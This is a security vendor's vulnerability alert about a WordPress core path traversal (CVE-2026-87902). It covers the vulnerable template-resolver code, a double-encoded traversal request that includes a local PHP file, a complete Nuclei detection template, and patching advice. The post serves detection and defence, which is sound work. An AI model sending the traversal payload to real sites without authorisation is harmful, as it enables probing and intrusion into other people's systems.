The threat landscape doesn't wait for your next pentest

Pentests only capture a single moment in time, but new threats emerge daily. Track the real-time exposure gap since your last security assessment.

No items found.
Vulnerability Alerts
-
10
mins read
-
September 22, 2026

CVE-2026-87902: A working PoC for WordPress's critical path traversal

TL;DR

  • What: Critical path traversal in WordPress core's page-template resolver (CVSS 9.2). One unauthenticated request can make a site include a local PHP file from outside its theme; can lead to RCE on some setups.
  • Affected: WordPress 7.1.0–7.1.1, plus unpatched older branches back to 4.7. Fixed in 7.1.2 (and backports). Patch now.
  • Detection: Our detection template can help you confirm if you're vulnerable.

WordPress has released a fix for a critical (CVSS 9.2) path traversal vulnerability in its page-template resolver. An unauthenticated request can cause affected versions to include a readable, local PHP file outside the active theme. Remote code execution is possible when the server and theme meet additional conditions; the traversal alone does not establish that every affected site can execute attacker-supplied code. WordPress scores the issue 9.2 under CVSS v4 and has shipped fixes for branches back to 4.7.

We reconstructed the request path from the core patch and reproduced the file include on an isolated WordPress 7.1.1 installation. The test we built uses a harmless file bundled with WordPress; it needs neither a login nor a customer-installed canary.

Technical overview

Field Detail
Component WordPress core page-template selection: get_page_template() and locate_template()
Vulnerability CVE-2026-87902
Severity CVSS v4 9.2; CWE-98
Class Encoded path traversal leading to local PHP file inclusion
Affected versions 7.1.0–7.1.1 and affected patch levels of older branches back to 4.7; see the full version list
Fixed in 7.1.2, with fixed patch releases for branches back to 4.7
Authentication None
Preconditions Exploitability depends on the active theme and server environment; our demonstration uses a published page and a page-templates directory in a classic theme

Exposure risk

When WordPress displays a page, it uses the page name to look for a matching PHP template in the active theme. Before the fix, a page name containing .. could make that search reach outside the theme directory. If a PHP file existed at the resulting path, WordPress could select and include it as the page template.

The route we reproduced uses a normal published page ID. It does not require a plugin, a WordPress account, or a file uploaded by the scanner. It does require a suitable path under the theme, so a vulnerable version number alone is not proof that this specific request will succeed on every deployment. The advisory also notes environment and theme preconditions for RCE.

Impact assessment

The immediate boundary failure is local PHP inclusion: WordPress can select a readable PHP file outside the directories intended for templates. PHP executes an included file; it does not simply return that file's source. The result therefore depends on which PHP files exist and what they do when loaded inside an ordinary WordPress request.

In a qualifying environment, this can become unauthenticated remote code execution. It may expose site data or let an attacker change the site, but those outcomes should not be inferred from a version banner or from an empty response to our safe probe. Our reproduction confirms the traversal and inclusion behavior, not an RCE chain.

Why detection is difficult

A homepage generator tag may reveal an affected WordPress version, but sites often hide it. Conversely, an exposed affected version does not tell us whether the required theme path exists. A useful behavioral check has to distinguish actual template selection from a generic error page, proxy response, or WAF block.

There is also no universal output marker for including a PHP file. We chose a WordPress file whose behavior is predictable: wp-content/index.php is the stock "Silence is golden" file and emits no response body. A single empty response is weak evidence, so the check compares it with a normal page and a traversal to a nonexistent file.

Technical breakdown

The first weak point is in get_page_template(). The following excerpt from vulnerable wp-includes/template.php shows the branch that prioritizes a decoded page name:

$pagename_decoded = urldecode( $pagename );if ( $pagename_decoded !== $pagename ) {   $templates[] = "page-{$pagename_decoded}.php";}

There is no traversal check on $pagename_decoded. The generated name goes to get_query_template(), which calls locate_template(). In the vulnerable locator, an existing file is enough to select a candidate:

if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {   $located = $wp_stylesheet_path . '/' . $template_name;   break;}

The concatenation does not enforce a directory boundary. If $template_name contains ../, file_exists() can succeed for a PHP file outside $wp_stylesheet_path; the selected path is then included by the template loader. The excerpts are from WordPress's get_page_template() and locate_template() source; the upstream fix changes both paths.

For example, our lab sends a page request whose pagename contains double-encoded slashes and dots:

GET /?page_id=2&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Findex HTTP/1.1

The decoding and file selection happen in stages:

  1. PHP decodes the query string once. WordPress receives templates%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Findex as the pagename value. The encoded dots survive WordPress's page-name sanitization; literal .. did not survive in our lab.
  2. page_id=2 selects a real published page, so the request reaches the page-template hierarchy. A pagename request on its own returned 404 in our setup.
  3. get_page_template() runs urldecode() and constructs page-templates/../../../index.php from the decoded value.
  4. With a page-templates directory in the active theme, locate_template() finds that path. In our lab, /wp-content/themes/cve-lab/page-templates/../../../index.php resolves to /wp-content/index.php.
  5. The template loader includes the resolved PHP file. The stock wp-content/index.php contains only a comment, so it produces an empty response body.

The fix changes the first check to require 0 === validate_file( $pagename_decoded ) before adding the decoded candidate. It also adds _wp_is_template_path_allowed() to locate_template(). For candidates with traversal, that function compares their resolved paths with the active theme, parent theme, and compatibility directories. A path into wp-content/index.php fails that check.

Detection

Our Nuclei check makes three unauthenticated GET requests against a known published page:

  1. Request the page normally and confirm it renders content.
  2. Request it with traversal toward a filename that does not exist; the page should still render.
  3. Request it with traversal toward WordPress's silent wp-content/index.php.

In the vulnerable 7.1.1 lab, the normal page and missing-file control each returned HTTP 200 with about 23 KB of content. The built-in file probe returned HTTP 200 with an empty body. That difference indicates that WordPress selected and included the file outside the theme. The probe performs no writes.

Here is the complete template, including our reporting fields. page_id defaults to WordPress's Sample Page ID in the lab; a production target needs a known published page ID.

id: CVE-2026-87902

info:
  name: WordPress Core - Page Template Path Traversal
  author: Hadrian
  severity: critical
  description: |
    Compares a published WordPress page with traversal requests for a missing
    file and the bundled wp-content/index.php. A 200 response with an empty
    body only for the existing file indicates that page-template resolution
    escaped the active theme. Set page_id to a known published page ID.
    A negative result is inconclusive if the required theme path is absent.
  reference:
    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
    - https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-87902
    cwe-id: CWE-98
  tags: cve,cve2026,wordpress,wp-core,lfi,path-traversal
  remediation: Update WordPress to 7.1.2 or the patched release for the installed branch.

variables:
  page_id: "2"

http:
  - raw:
      - |
        GET /?page_id={{page_id}} HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |
        GET /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Findex-cve-check-nonexistent HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |
        GET /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Findex HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && len(body_1) > 100"
          - "status_code_2 == 200 && len(body_2) > 100"
          - "status_code_3 == 200 && len(body_3) == 0"
        condition: and

A positive result is behavioral evidence worth investigating. A proxy or WAF that returns an empty HTTP 200 can mimic the final response, so confirm significant findings with server logs or a patched comparison. A negative result is inconclusive when the page ID is invalid, the theme lacks the required directory, or routing and security controls prevent the request from reaching template selection. We also keep a separate passive version check for inventory; it has different limits.

Recommended actions

Update WordPress core now. Move to 7.1.2 or the fixed release for the site's branch, and verify the running version after deployment. The WordPress advisory lists each patched release.

Until an update is in place, inspect access logs for unusual pagename requests containing encoded separators and dot segments. A temporary WAF rule can reject traversal patterns after URL decoding, but it should be tested against legitimate traffic and should not replace the core fix. Review all WordPress instances, including staging sites and older branches that may not be covered by the main production update process.

{{related-article}}

No items found.

{{quote-1}}

This is some text inside of a div block.
This is some text inside of a div block.
,
This is some text inside of a div block.

{{quote-2}}

This is some text inside of a div block.
This is some text inside of a div block.
,
This is some text inside of a div block.
get a 15 min demo

Start your journey today

Hadrian’s end-to-end offensive security platform sets up in minutes, operates autonomously, and provides easy-to-action insights.

What you will learn

  • Monitor assets and config changes

  • Understand asset context

  • Identify risks, reduce false positives

  • Prioritize high-impact risks

  • Streamline remediation

The Hadrian platform displayed on a tablet.
No items found.